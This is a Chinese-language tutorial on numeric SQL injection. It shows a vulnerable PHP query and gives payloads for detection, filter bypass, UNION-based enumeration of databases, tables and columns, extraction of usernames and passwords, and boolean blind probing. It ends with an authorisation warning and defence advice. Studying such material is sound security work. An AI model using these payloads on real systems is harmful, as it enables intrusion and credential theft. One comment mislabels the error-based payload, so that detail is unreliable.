数字型SQL注入

数字型SQL注入

一、数字型注入核心原理

数字型注入是SQL注入的经典类型,核心特征是后端接收的参数为数字类型(如ID、页码、编号等),且后端拼接SQL语句时,参数无引号/双引号包裹,直接作为数字参与SQL执行。

典型场景

后端代码示例(PHP):

$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id"; // 无引号包裹数字参数
$result = mysqli_query($conn, $sql);

攻击者可直接通过拼接布尔条件、联合查询等方式篡改SQL语句,且无需像字符型注入那样闭合引号,这是数字型注入最核心的区别。

核心差异(与字符型注入对比)

维度 数字型注入 字符型注入
参数包裹方式 无引号/双引号包裹 单引号/双引号包裹
基础判断Payload ?id=1 AND 1=2 ?id=1' AND 1=2 --+
闭合要求 无需闭合引号 必须闭合引号('/"

二、判断是否存在数字型注入(核心步骤)

判断核心:构造无引号的布尔条件,观察页面是否随条件真假呈现“显式差异”(数据回显变化、报错、内容消失等),区别于盲注的“隐式状态差异”。

步骤1:基础布尔条件测试(核心判断)

目标URL示例:http://test.com/index.php?id=1(假设id为数字参数)

测试类型 Payload 预期结果 判定依据
恒真条件 http://test.com/index.php?id=1 AND 1=1 页面正常显示id=1对应的内容 两组条件呈现稳定显式差异
恒假条件 http://test.com/index.php?id=1 AND 1=2 页面无数据/显示“无结果”/内容消失 则判定存在数字型注入

步骤2:验证是否为“显式注入”(有直接回显)

构造报错型Payload,确认是否能触发SQL语法报错(进一步验证注入点):

# MySQL报错测试(利用除以0报错)
http://test.com/index.php?id=1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
# 若页面显示数据库名相关报错 → 确认显式数字型注入

步骤3:排除过滤/干扰(进阶验证)

若基础Payload无效果,尝试绕过常见过滤:

# 空格绕过:用/**/、()替代空格
http://test.com/index.php?id=1/**/AND/**/1=2
http://test.com/index.php?id=1AND(1=2)

# 关键字绕过:大小写、双写
http://test.com/index.php?id=1 aNd 1=2
http://test.com/index.php?id=1 ANANDD 1=2

# 运算符替代:&&替代AND||替代OR
http://test.com/index.php?id=1 && 1=2

三、数字型注入完整攻击步骤(显注场景,有直接回显)

以下步骤基于“有回显”的显式注入场景(最典型),目标URL:http://test.com/index.php?id=1

步骤1:确认注入点字段数(ORDER BY法)

核心:通过ORDER BY判断查询语句的字段数(即SELECT后列的数量)。

# 测试字段数是否为3(逐步调整数值,直到页面异常)
http://test.com/index.php?id=1 ORDER BY 3 # 页面正常
http://test.com/index.php?id=1 ORDER BY 4 # 页面异常 → 确认字段数为3

步骤2:找到回显位(UNION SELECT法)

核心:利用UNION SELECT拼接空值,确定哪些字段会在页面回显。

# 构造UNION查询(数字型无需引号,字段数与目标一致)
http://test.com/index.php?id=-1 UNION SELECT 1,2,3 # id=-1让原查询无结果
# 页面显示“2”“3” → 确认第23位是回显位(后续注入结果放在这两个位置)

注:id=-1的作用是让原SQL查询(id=-1)无结果,确保UNION SELECT的内容能被回显。

步骤3:列数据库名(当前库+所有库)

(1)查询当前数据库名

# 利用回显位(第2位)显示当前数据库名
http://test.com/index.php?id=-1 UNION SELECT 1,database(),3
# 页面显示:testdb → 确认当前数据库为testdb

(2)查询所有数据库名

# 拼接所有数据库名(MySQL用GROUP_CONCAT,避免多行仅显一行)
http://test.com/index.php?id=-1 UNION SELECT 1,GROUP_CONCAT(SCHEMA_NAME),3 FROM information_schema.SCHEMATA
# 页面显示:information_schema,testdb,mysql → 列出所有数据库

步骤4:列指定数据库的表名(以testdb为例)

# 列出testdb库下的所有表名(回显位第2位)
http://test.com/index.php?id=-1 UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM information_schema.TABLES WHERE TABLE_SCHEMA='testdb'
# 页面显示:users,orders,goods → 确认testdb下的表

注:若数据库名含特殊字符或过滤,可改用ASCII码/十六进制:TABLE_SCHEMA=0x746573746462(0x746573746462是testdb的十六进制)。

步骤5:列指定表的字段名(以testdb.users为例)

# 列出users表的所有字段名
http://test.com/index.php?id=-1 UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='testdb' AND TABLE_NAME='users'
# 页面显示:id,username,password,email → 确认users表的字段

步骤6:列指定字段的内容(以users表的username/password为例)

# 列出users表中所有用户名和密码(拼接显示)
http://test.com/index.php?id=-1 UNION SELECT 1,GROUP_CONCAT(username,':',password),3 FROM testdb.users
# 页面显示:admin:123456,user1:654321 → 获取核心数据

注:若数据量较大,可通过LIMIT分页查询:

http://test.com/index.php?id=-1 UNION SELECT 1,CONCAT(username,':',password),3 FROM testdb.users LIMIT 0,1  # 第一条数据
http://test.com/index.php?id=-1 UNION SELECT 1,CONCAT(username,':',password),3 FROM testdb.users LIMIT 1,1 # 第二条数据

四、数字型盲注(无回显场景)补充步骤

若数字型注入无直接回显(仅布尔状态差异),则采用布尔盲注逻辑(无需引号):

步骤1:猜解当前数据库名长度

http://test.com/index.php?id=1 AND LENGTH(database())=6  # 页面正常 → 长度为6

步骤2:逐字符猜解数据库名

http://test.com/index.php?id=1 AND ASCII(SUBSTR(database(),1,1))=116  # 第1位ASCII=116't'

步骤3:后续表/字段/数据猜解(同布尔盲注,仅去掉引号)

# 猜解testdb库下users表的第一个字段名长度
http://test.com/index.php?id=1 AND LENGTH((SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='testdb' AND TABLE_NAME='users' LIMIT 0,1))=2

五、数字型注入核心Payload汇总

用途 Payload示例(目标URL:?id=1)
判断注入存在 ?id=1 AND 1=2(无数据)、?id=1 AND 1=1(有数据)
查字段数 ?id=1 ORDER BY 3(正常)、?id=1 ORDER BY 4(异常)
找回显位 ?id=-1 UNION SELECT 1,2,3
查当前数据库名 ?id=-1 UNION SELECT 1,database(),3
查所有数据库名 ?id=-1 UNION SELECT 1,GROUP_CONCAT(SCHEMA_NAME),3 FROM information_schema.SCHEMATA
查指定库表名 ?id=-1 UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM information_schema.TABLES WHERE TABLE_SCHEMA='testdb'
查指定表字段名 ?id=-1 UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='testdb' AND TABLE_NAME='users'
查字段内容 ?id=-1 UNION SELECT 1,GROUP_CONCAT(username,':',password),3 FROM testdb.users
布尔盲注猜长度 ?id=1 AND LENGTH(database())=6
布尔盲注猜字符 ?id=1 AND ASCII(SUBSTR(database(),1,1))=116

六、关键注意事项

  1. 核心特征:数字型注入无需闭合引号,所有Payload均无'/",这是与字符型注入最核心的区别;
  2. 过滤绕过
    • 空格过滤:用/**/()%09(Tab)替代;
    • 关键字过滤:大小写(AnD)、双写(ANANDD)、替代符(&&替代AND,||替代OR);
    • 函数过滤:database()被拦截时,改用(SELECT SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 0,1)
  3. 数据库差异
    • MySQL:GROUP_CONCAT()information_schema
    • SQL Server:STUFF()sys.databases/sys.tables
    • Oracle:WM_CONCAT()all_tables/all_tab_columns
  4. 合法性:仅允许在授权的合法测试环境下操作,未经授权攻击他人系统属于违法行为;
  5. 防御方案:使用参数化查询(预编译语句)、校验参数类型(强制转为数字)、最小权限原则配置数据库账号。